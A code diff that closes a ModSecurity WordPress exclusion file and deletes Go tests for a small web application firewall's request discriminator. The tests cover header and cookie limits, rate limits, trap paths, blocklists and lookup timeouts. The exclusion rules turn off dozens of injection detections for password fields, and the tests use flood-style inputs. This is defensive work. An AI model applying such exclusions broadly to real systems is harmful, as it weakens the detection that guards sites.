ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?password$/,\
|
||||||
|
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?password$/"
|
||||||
|
|
||||||
# Saving through the REST API, the JSON fields title, excerpt and name skip these
|
# Saving through the REST API, the JSON fields title, excerpt and name skip these
|
||||||
# rules. WordPress writes a slug such as htaccess or ls-la, so slug skips only
|
# rules. WordPress writes a slug such as htaccess or ls-la, so slug skips only
|
||||||
@@ -195,3 +322,5 @@ SecRule REQUEST_FILENAME "@rx ^/(?:(?:index\.php/)?page/[0-9]+/?|index\.php)?$"
|
|||||||
# so skips 932340 there.
|
# so skips 932340 there.
|
||||||
SecRule REQUEST_FILENAME "@streq /wp-admin/upload.php" \
|
SecRule REQUEST_FILENAME "@streq /wp-admin/upload.php" \
|
||||||
"id:900711,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932340;ARGS:_wp_http_referer"
|
"id:900711,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932340;ARGS:_wp_http_referer"
|
||||||
|
|
||||||
|
SecMarker END_WORDPRESS
|
||||||
@@ -1,588 +0,0 @@
|
|||||||
package discriminator_test
|
|
||||||
|
|
||||||
import (
|
|
||||||
"fmt"
|
|
||||||
"maps"
|
|
||||||
"net"
|
|
||||||
"net/http"
|
|
||||||
"net/http/httptest"
|
|
||||||
"net/netip"
|
|
||||||
"slices"
|
|
||||||
"strconv"
|
|
||||||
"strings"
|
|
||||||
"testing"
|
|
||||||
"testing/synctest"
|
|
||||||
"time"
|
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/lookup"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/reputation"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
|
||||||
)
|
|
||||||
|
|
||||||
const (
|
|
||||||
// answerTimeLimit is the default of rproxy's SWRP_TIMEOUT_MS, the time
|
|
||||||
// discriminator has to answer.
|
|
||||||
answerTimeLimit = 2 * time.Second
|
|
||||||
// defaultLookupWait is the default of SWW_LOOKUP_TIMEOUT.
|
|
||||||
defaultLookupWait = 800 * time.Millisecond
|
|
||||||
// The header limits SPEC.md gives.
|
|
||||||
cookieLimit = 50
|
|
||||||
headerFieldLimit = 100
|
|
||||||
// cookieHeader is the header the cookie limit counts.
|
|
||||||
cookieHeader = "Cookie"
|
|
||||||
// tooLarge is how discriminator refuses a request over the header limits.
|
|
||||||
tooLarge = http.StatusRequestHeaderFieldsTooLarge
|
|
||||||
// silentAbuseIPDBURL is where AbuseIPDB never answers: at the stand-in
|
|
||||||
// that silentGeoJSURL names too.
|
|
||||||
silentAbuseIPDBURL = "silent://abuseipdb/api/v2/check"
|
|
||||||
// wholeLimit is the percentage of a rate limit that lowers it not at all.
|
|
||||||
wholeLimit = 100
|
|
||||||
// clientsDecision is the CrowdSec decision list holding client alone.
|
|
||||||
clientsDecision = `[{"duration": "4h0m0s", "scenario": "crowdsecurity/ssh-bf", ` +
|
|
||||||
`"scope": "Ip", "type": "ban", "value": "` + client + `"}]`
|
|
||||||
)
|
|
||||||
|
|
||||||
// cookies returns a Cookie header's value with count cookies.
|
|
||||||
func cookies(count int) string {
|
|
||||||
parts := make([]string, 0, count)
|
|
||||||
for i := range count {
|
|
||||||
parts = append(parts, "c"+strconv.Itoa(i)+"=1")
|
|
||||||
}
|
|
||||||
|
|
||||||
return strings.Join(parts, "; ")
|
|
||||||
}
|
|
||||||
|
|
||||||
// fillHeaders adds headers to a question until the checks see total header
|
|
||||||
// fields: all but ClientHeader and PeerHeader, which discriminator removes. Go's
|
|
||||||
// client sends nothing else but Host, which the limit does not count, once
|
|
||||||
// User-Agent is set.
|
|
||||||
func fillHeaders(req *http.Request, total int) {
|
|
||||||
req.Header.Set("User-Agent", "test")
|
|
||||||
|
|
||||||
for i := len(req.Header) - 2; i < total; i++ {
|
|
||||||
req.Header.Set("X-Filler-"+strconv.Itoa(i), "1")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestSixteenThousandCookiesAreRefusedWellWithinTheTimeLimit(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
s := startDiscriminator(t, "", map[string]string{wafMode: block})
|
|
||||||
req := s.question(siteA, client, "/")
|
|
||||||
req.Header.Set(cookieHeader, strings.Repeat("a;", 16000))
|
|
||||||
|
|
||||||
began := time.Now()
|
|
||||||
got := do(t, req)
|
|
||||||
|
|
||||||
if took := time.Since(began); took >= answerTimeLimit/2 {
|
|
||||||
t.Errorf("answered after %s, want well within %s", took, answerTimeLimit)
|
|
||||||
}
|
|
||||||
|
|
||||||
wantDisposition(t, got, tooLarge, discriminator.DispositionDeny)
|
|
||||||
|
|
||||||
line := s.out.requestLine(t)
|
|
||||||
wantLine(t, line, tooLarge, requestlog.ActionRequestHeaderTooLarge)
|
|
||||||
|
|
||||||
if line.DurationCoreRuleSetMS != nil {
|
|
||||||
t.Errorf("the Core Rule Set read the request, for %f ms", *line.DurationCoreRuleSetMS)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestHeaderLimitRefusalNamesItsHeuristicCountsAndLimits(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
s := startDiscriminator(t, "", nil)
|
|
||||||
req := s.question(siteA, client, "/")
|
|
||||||
fillHeaders(req, headerFieldLimit+1)
|
|
||||||
do(t, req)
|
|
||||||
|
|
||||||
wantHeuristic(t, s.out.requestLine(t), "header_limits",
|
|
||||||
`{"fields": 101, "fields_limit": 100, "cookies": 0, "cookies_limit": 50}`)
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestEachHeaderLimitRefusesARequestOverIt(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
repeated := make([]string, headerFieldLimit)
|
|
||||||
for i := range repeated {
|
|
||||||
repeated[i] = "1"
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, tc := range []struct {
|
|
||||||
name string
|
|
||||||
make func(*http.Request)
|
|
||||||
// refused is true for a request over a limit, and false for one at it.
|
|
||||||
refused bool
|
|
||||||
}{
|
|
||||||
{"cookies at the limit", func(req *http.Request) {
|
|
||||||
req.Header.Set(cookieHeader, cookies(cookieLimit))
|
|
||||||
}, false},
|
|
||||||
{"cookies over the limit", func(req *http.Request) {
|
|
||||||
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
|
|
||||||
}, true},
|
|
||||||
{"parts empty or only spaces and tabs are no cookies", func(req *http.Request) {
|
|
||||||
req.Header.Set(cookieHeader, cookies(cookieLimit)+"; \t;;")
|
|
||||||
}, false},
|
|
||||||
{"parts of no-break spaces count", func(req *http.Request) {
|
|
||||||
req.Header.Set(cookieHeader, strings.Repeat(" ;", cookieLimit+1))
|
|
||||||
}, true},
|
|
||||||
{"cookies over the limit across two headers", func(req *http.Request) {
|
|
||||||
req.Header[cookieHeader] = []string{cookies(cookieLimit), "last=1"}
|
|
||||||
}, true},
|
|
||||||
{"cookies without a value count", func(req *http.Request) {
|
|
||||||
req.Header.Set(cookieHeader, strings.Repeat("a;", cookieLimit+1))
|
|
||||||
}, true},
|
|
||||||
{"header fields at the limit", func(req *http.Request) {
|
|
||||||
fillHeaders(req, headerFieldLimit)
|
|
||||||
}, false},
|
|
||||||
{"header fields over the limit", func(req *http.Request) {
|
|
||||||
fillHeaders(req, headerFieldLimit+1)
|
|
||||||
}, true},
|
|
||||||
{"a header sent many times counts each time", func(req *http.Request) {
|
|
||||||
req.Header["X-Filler"] = repeated
|
|
||||||
}, true},
|
|
||||||
} {
|
|
||||||
t.Run(tc.name, func(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
s := startDiscriminator(t, "", map[string]string{wafMode: block})
|
|
||||||
req := s.question(siteA, client, "/")
|
|
||||||
tc.make(req)
|
|
||||||
|
|
||||||
got := do(t, req)
|
|
||||||
line := s.out.requestLine(t)
|
|
||||||
|
|
||||||
if tc.refused {
|
|
||||||
wantDisposition(t, got, tooLarge, discriminator.DispositionDeny)
|
|
||||||
wantLine(t, line, tooLarge, requestlog.ActionRequestHeaderTooLarge)
|
|
||||||
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
wantDisposition(t, got, http.StatusOK, discriminator.DispositionAllow)
|
|
||||||
wantLine(t, line, http.StatusOK, requestlog.ActionForward)
|
|
||||||
|
|
||||||
if line.DurationCoreRuleSetMS == nil {
|
|
||||||
t.Error("the Core Rule Set did not read a request within the limits")
|
|
||||||
}
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestHeaderLimitsHoldWhateverTheCoreRuleSetSettingsSay(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
for _, env := range []map[string]string{
|
|
||||||
{wafMode: off},
|
|
||||||
{wafMode: "detect"},
|
|
||||||
{wafMode: block, "SWW_WAF_EXEMPT_PATHS": "/"},
|
|
||||||
} {
|
|
||||||
t.Run(fmt.Sprint(env), func(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
s := startDiscriminator(t, "", env)
|
|
||||||
req := s.question(siteA, client, "/")
|
|
||||||
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
|
|
||||||
|
|
||||||
wantDisposition(t, do(t, req), tooLarge, discriminator.DispositionDeny)
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestClientInTheAllowNetsSkipsTheHeaderLimits(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
s := startDiscriminator(t, "", map[string]string{wafMode: block, allowNets: client})
|
|
||||||
req := s.question(siteA, client, "/")
|
|
||||||
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
|
|
||||||
|
|
||||||
wantDisposition(t, do(t, req), http.StatusOK, discriminator.DispositionAllow)
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestObserveModeAllowsARequestOverTheHeaderLimitsUnread(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
s := startDiscriminator(t, "", map[string]string{mode: observe, wafMode: block})
|
|
||||||
req := s.question(siteA, client, "/")
|
|
||||||
req.Header.Set(cookieHeader, strings.Repeat("a;", 16000))
|
|
||||||
|
|
||||||
began := time.Now()
|
|
||||||
got := do(t, req)
|
|
||||||
|
|
||||||
if took := time.Since(began); took >= answerTimeLimit/2 {
|
|
||||||
t.Errorf("answered after %s, want well within %s", took, answerTimeLimit)
|
|
||||||
}
|
|
||||||
|
|
||||||
wantDisposition(t, got, http.StatusOK, discriminator.DispositionAllow)
|
|
||||||
|
|
||||||
line := s.out.requestLine(t)
|
|
||||||
if line.WouldAction != requestlog.ActionRequestHeaderTooLarge ||
|
|
||||||
line.DurationCoreRuleSetMS != nil {
|
|
||||||
t.Errorf("would_action %q and duration_core_rule_set_ms %v, want %q and none",
|
|
||||||
line.WouldAction, line.DurationCoreRuleSetMS, requestlog.ActionRequestHeaderTooLarge)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestRequestsOverTheHeaderLimitsCountTowardTheRateLimits(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
s := startDiscriminator(t, "", map[string]string{rateLimitPerMinute: "1"})
|
|
||||||
ask := func() answer {
|
|
||||||
req := s.question(siteA, client, "/")
|
|
||||||
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
|
|
||||||
|
|
||||||
return do(t, req)
|
|
||||||
}
|
|
||||||
|
|
||||||
wantDisposition(t, ask(), tooLarge, discriminator.DispositionDeny)
|
|
||||||
wantDisposition(t, ask(), http.StatusForbidden, discriminator.DispositionDeny)
|
|
||||||
|
|
||||||
lines := s.out.requestLines(t, 2)
|
|
||||||
wantLine(t, lines[1], http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestTheHeaderLimitsComeAfterTheTrapPathsAndTheRuleFiles(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
for _, tc := range []struct {
|
|
||||||
name, path, action string
|
|
||||||
}{
|
|
||||||
{"a trap path", "/wp-login.php", requestlog.ActionTemporarilyBanned},
|
|
||||||
{"a block rule", "/blocked", requestlog.ActionBlockedByBlockRule},
|
|
||||||
} {
|
|
||||||
t.Run(tc.name, func(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
s := startDiscriminator(t, "", map[string]string{
|
|
||||||
trapPaths: trapPathList, rulesDir: writeRules(t, testRules),
|
|
||||||
})
|
|
||||||
req := s.question(siteA, client, tc.path)
|
|
||||||
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
|
|
||||||
|
|
||||||
wantDisposition(t, do(t, req), http.StatusForbidden, discriminator.DispositionDeny)
|
|
||||||
wantLine(t, s.out.requestLine(t), http.StatusForbidden, tc.action)
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestNotWaitingForGeoJSNeverLowersAClientsLimit(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
geojsURL, _ := startGeoJS(t)
|
|
||||||
s := startDiscriminator(t, geojsURL, map[string]string{
|
|
||||||
unknownLimitPercent: "0", lookupTimeout: "1h",
|
|
||||||
})
|
|
||||||
req := s.question(siteA, fromDE, "/")
|
|
||||||
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
|
|
||||||
|
|
||||||
wantDisposition(t, do(t, req), tooLarge, discriminator.DispositionDeny)
|
|
||||||
|
|
||||||
line := s.out.requestLine(t)
|
|
||||||
wantLine(t, line, tooLarge, requestlog.ActionRequestHeaderTooLarge)
|
|
||||||
|
|
||||||
if line.RateLimitPercent != nil {
|
|
||||||
t.Errorf("limit percentage %d, want none", *line.RateLimitPercent)
|
|
||||||
}
|
|
||||||
|
|
||||||
// The client is under no ban, and GeoJS places it in a country.
|
|
||||||
wantDisposition(t, s.ask(fromDE, "/"), http.StatusOK, discriminator.DispositionAllow)
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestAClientGeoJSPlacedInNoCountryCountsAsUnknownWithoutWaiting(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
geojsURL, _ := startGeoJS(t)
|
|
||||||
s := startDiscriminator(t, geojsURL, map[string]string{unknownLimitPercent: "0"})
|
|
||||||
s.server.GeoJS.Load([]lookup.Answer{{
|
|
||||||
Client: netip.MustParsePrefix(client + "/32"), ASN: "AS64512",
|
|
||||||
Answered: s.clock.Now(), Used: s.clock.Now(),
|
|
||||||
}})
|
|
||||||
|
|
||||||
req := s.question(siteA, client, "/")
|
|
||||||
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
|
|
||||||
|
|
||||||
wantDisposition(t, do(t, req), http.StatusForbidden, discriminator.DispositionDeny)
|
|
||||||
wantLine(t, s.out.requestLine(t), http.StatusForbidden,
|
|
||||||
requestlog.ActionClientIsRateLimited)
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestObserveModeWaitsForGeoJSForARequestOverTheHeaderLimits(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
geojsURL, _ := startGeoJS(t)
|
|
||||||
s := startDiscriminator(t, geojsURL, map[string]string{
|
|
||||||
mode: observe, addLookupHeaders: on, lookupTimeout: "1h",
|
|
||||||
})
|
|
||||||
req := s.question(siteA, fromDE, "/")
|
|
||||||
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
|
|
||||||
|
|
||||||
got := do(t, req)
|
|
||||||
wantDisposition(t, got, http.StatusOK, discriminator.DispositionAllow)
|
|
||||||
|
|
||||||
asn, country := got.header.Get("X-Client-Asn"), got.header.Get("X-Client-Country")
|
|
||||||
if asn != asnDE || country != "DE" {
|
|
||||||
t.Errorf("answered with the AS number %q and the country %q, want %q and DE",
|
|
||||||
asn, country, asnDE)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// newDiscriminatorInBubble makes a discriminator for a synctest bubble: GeoJS never
|
|
||||||
// answers, a setting needs its answer, and everything is at its default but
|
|
||||||
// for env. No request to it may use the network.
|
|
||||||
func newDiscriminatorInBubble(
|
|
||||||
t *testing.T, env map[string]string,
|
|
||||||
) (*discriminator.Server, *output) {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
settings := map[string]string{tagDeny: "country=KP"}
|
|
||||||
maps.Copy(settings, env)
|
|
||||||
|
|
||||||
server, out, _ := newDiscriminator(t, silentGeoJSURL, time.Now, settings)
|
|
||||||
|
|
||||||
return server, out
|
|
||||||
}
|
|
||||||
|
|
||||||
// askDirectly hands a question about a request from client straight to server,
|
|
||||||
// as change leaves it, and returns the answer's status and how long it took.
|
|
||||||
func askDirectly(
|
|
||||||
t *testing.T, server *discriminator.Server, change func(*http.Request),
|
|
||||||
) (int, time.Duration) {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", http.NoBody)
|
|
||||||
req.RemoteAddr = net.JoinHostPort(rproxyPeer, "1234")
|
|
||||||
req.Header.Set(discriminator.ClientHeader, client)
|
|
||||||
req.Header.Set(requestIDHeader, "the-id")
|
|
||||||
change(req)
|
|
||||||
|
|
||||||
recorder := httptest.NewRecorder()
|
|
||||||
began := time.Now()
|
|
||||||
|
|
||||||
server.Handler.ServeHTTP(recorder, req)
|
|
||||||
|
|
||||||
return recorder.Code, time.Since(began)
|
|
||||||
}
|
|
||||||
|
|
||||||
// banClient bans client at now.
|
|
||||||
func banClient(_ *testing.T, server *discriminator.Server, now time.Time) {
|
|
||||||
server.Ledger.BanForLimit(netip.MustParsePrefix(client+"/32"), now, bans.Notes{})
|
|
||||||
}
|
|
||||||
|
|
||||||
// countClient counts one request from client at now for the rate limits.
|
|
||||||
func countClient(_ *testing.T, server *discriminator.Server, now time.Time) {
|
|
||||||
server.Limiter.Count(netip.MustParsePrefix(client+"/32"), now, wholeLimit)
|
|
||||||
}
|
|
||||||
|
|
||||||
// listClient puts client on the blocklist at dropURL.
|
|
||||||
func listClient(t *testing.T, server *discriminator.Server, now time.Time) {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
err := server.Lists.Load([]reputation.List{{
|
|
||||||
URL: dropURL, Tried: now, Fetched: now, Lines: []string{client},
|
|
||||||
}})
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("load the blocklist: %v", err)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// decideOnClient puts client on the CrowdSec decision list.
|
|
||||||
func decideOnClient(t *testing.T, server *discriminator.Server, now time.Time) {
|
|
||||||
t.Helper()
|
|
||||||
loadDecisions(t, server, now, clientsDecision)
|
|
||||||
}
|
|
||||||
|
|
||||||
// leaveAsItIs prepares nothing.
|
|
||||||
func leaveAsItIs(*testing.T, *discriminator.Server, time.Time) {}
|
|
||||||
|
|
||||||
func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
const forbidden = http.StatusForbidden
|
|
||||||
|
|
||||||
for _, tc := range []struct {
|
|
||||||
name string
|
|
||||||
env map[string]string
|
|
||||||
// prepare gets the server ready, at now, before the question.
|
|
||||||
prepare func(t *testing.T, server *discriminator.Server, now time.Time)
|
|
||||||
// cookie is the request's Cookie header.
|
|
||||||
cookie string
|
|
||||||
status int
|
|
||||||
action string
|
|
||||||
}{
|
|
||||||
{
|
|
||||||
name: "SWW_DENY_NETS", env: map[string]string{denyNets: client},
|
|
||||||
prepare: leaveAsItIs, status: forbidden, action: requestlog.ActionClientDenied,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
name: "a ban",
|
|
||||||
prepare: banClient, status: forbidden, action: requestlog.ActionTemporarilyBanned,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
name: "the rate limits", env: map[string]string{rateLimitPerMinute: "1"},
|
|
||||||
prepare: countClient, status: forbidden,
|
|
||||||
action: requestlog.ActionClientIsRateLimited,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
name: "the rate limits, with a biased threshold",
|
|
||||||
env: map[string]string{rateLimitPerMinute: "1", unknownLimitPercent: "50"},
|
|
||||||
prepare: countClient, status: forbidden,
|
|
||||||
action: requestlog.ActionClientIsRateLimited,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
name: "a blocklist", env: map[string]string{blocklistURLs: dropURL},
|
|
||||||
prepare: listClient, status: forbidden, action: requestlog.ActionClientDenied,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
name: "the CrowdSec decision list",
|
|
||||||
env: map[string]string{crowdSecURL: lapi, crowdSecKey: bouncerKey},
|
|
||||||
prepare: decideOnClient, status: forbidden,
|
|
||||||
action: requestlog.ActionTemporarilyBanned,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
name: "the header limits", cookie: cookies(cookieLimit + 1),
|
|
||||||
prepare: leaveAsItIs, status: tooLarge,
|
|
||||||
action: requestlog.ActionRequestHeaderTooLarge,
|
|
||||||
},
|
|
||||||
} {
|
|
||||||
t.Run(tc.name, func(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
|
|
||||||
// says, so that a request that does not wait takes no time at all.
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
|
||||||
server, out := newDiscriminatorInBubble(t, tc.env)
|
|
||||||
tc.prepare(t, server, time.Now())
|
|
||||||
|
|
||||||
status, took := askDirectly(t, server, func(req *http.Request) {
|
|
||||||
req.Header.Set(cookieHeader, tc.cookie)
|
|
||||||
})
|
|
||||||
|
|
||||||
if status != tc.status || took != 0 {
|
|
||||||
t.Errorf("answered %d after %s, want %d at once; output:\n%s",
|
|
||||||
status, took, tc.status, out.text())
|
|
||||||
}
|
|
||||||
|
|
||||||
wantLine(t, out.requestLine(t), tc.status, tc.action)
|
|
||||||
|
|
||||||
// GeoJS's request is abandoned before the bubble ends.
|
|
||||||
time.Sleep(defaultLookupWait)
|
|
||||||
})
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestAQuestionWaitsForASlowGeoJSOnlyAsLongAsTheDefaultSays(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
for _, tc := range []struct {
|
|
||||||
name string
|
|
||||||
env map[string]string
|
|
||||||
// prepare gets the server ready, at now, before the question.
|
|
||||||
prepare func(t *testing.T, server *discriminator.Server, now time.Time)
|
|
||||||
status int
|
|
||||||
action string
|
|
||||||
}{
|
|
||||||
{"nothing refuses it", nil, leaveAsItIs, http.StatusOK, requestlog.ActionForward},
|
|
||||||
{
|
|
||||||
"a country list needs the answer", map[string]string{allowedCountries: "DE"},
|
|
||||||
leaveAsItIs, http.StatusForbidden, requestlog.ActionCountryDenied,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"a blocklist that only logs",
|
|
||||||
map[string]string{blocklistURLs: dropURL, blocklistAction: actionLog},
|
|
||||||
listClient, http.StatusOK, requestlog.ActionForward,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"a blocklist that only limits",
|
|
||||||
map[string]string{blocklistURLs: dropURL, blocklistAction: limitQuarter},
|
|
||||||
listClient, http.StatusOK, requestlog.ActionForward,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"over a rate limit on an exempt path",
|
|
||||||
map[string]string{rateLimitPerMinute: "1", rateLimitExemptPaths: "/"},
|
|
||||||
countClient, http.StatusOK, requestlog.ActionForward,
|
|
||||||
},
|
|
||||||
} {
|
|
||||||
t.Run(tc.name, func(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
|
||||||
server, out := newDiscriminatorInBubble(t, tc.env)
|
|
||||||
tc.prepare(t, server, time.Now())
|
|
||||||
|
|
||||||
status, took := askDirectly(t, server, func(*http.Request) {})
|
|
||||||
|
|
||||||
if status != tc.status || took != defaultLookupWait {
|
|
||||||
t.Errorf("answered %d after %s, want %d after %s; output:\n%s",
|
|
||||||
status, took, tc.status, defaultLookupWait, out.text())
|
|
||||||
}
|
|
||||||
|
|
||||||
wantLine(t, out.requestLine(t), tc.status, tc.action)
|
|
||||||
})
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestDiscriminatorAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
|
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
held, askedGeoJS, _ := startHeldGeoJS(t)
|
|
||||||
|
|
||||||
// A resolver that takes every query and answers none.
|
|
||||||
resolver, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", localhost+":0")
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("listen: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
t.Cleanup(func() { _ = resolver.Close() })
|
|
||||||
|
|
||||||
server, out, _ := newDiscriminatorWith(t, func(
|
|
||||||
params discriminator.Params,
|
|
||||||
) *discriminator.Server {
|
|
||||||
params.AbuseIPDBURL = silentAbuseIPDBURL
|
|
||||||
|
|
||||||
return discriminator.New(params)
|
|
||||||
}, held, time.Now, map[string]string{
|
|
||||||
tagDeny: "country=KP", wafMode: block,
|
|
||||||
dnsblZones: dnsblZone, dnsblResolver: resolver.LocalAddr().String(),
|
|
||||||
abuseIPDBKey: accountKey,
|
|
||||||
blocklistURLs: held + "/drop.txt", asnLimitPercentURL: held + "/asn.txt",
|
|
||||||
crowdSecURL: held, crowdSecKey: bouncerKey,
|
|
||||||
})
|
|
||||||
|
|
||||||
// AbuseIPDB is asked only about a client with an offence.
|
|
||||||
group := netip.MustParsePrefix(client + "/32")
|
|
||||||
server.Limiter.AddToHistory(group, time.Now(), ratelimit.Request{Attack: true})
|
|
||||||
|
|
||||||
go server.Lists.Run(t.Context())
|
|
||||||
|
|
||||||
status, took := askDirectly(t, server, func(req *http.Request) {
|
|
||||||
req.Header.Set("User-Agent", "test")
|
|
||||||
req.Header.Set("Accept", "*/*")
|
|
||||||
req.Host = siteA
|
|
||||||
})
|
|
||||||
|
|
||||||
if status != http.StatusOK || took >= answerTimeLimit {
|
|
||||||
t.Errorf("answered %d after %s, want %d within %s; output:\n%s",
|
|
||||||
status, took, http.StatusOK, answerTimeLimit, out.text())
|
|
||||||
}
|
|
||||||
|
|
||||||
// Each outside source was asked, and none has answered. The stand-in for
|
|
||||||
// GeoJS is the lists' too, which name no address.
|
|
||||||
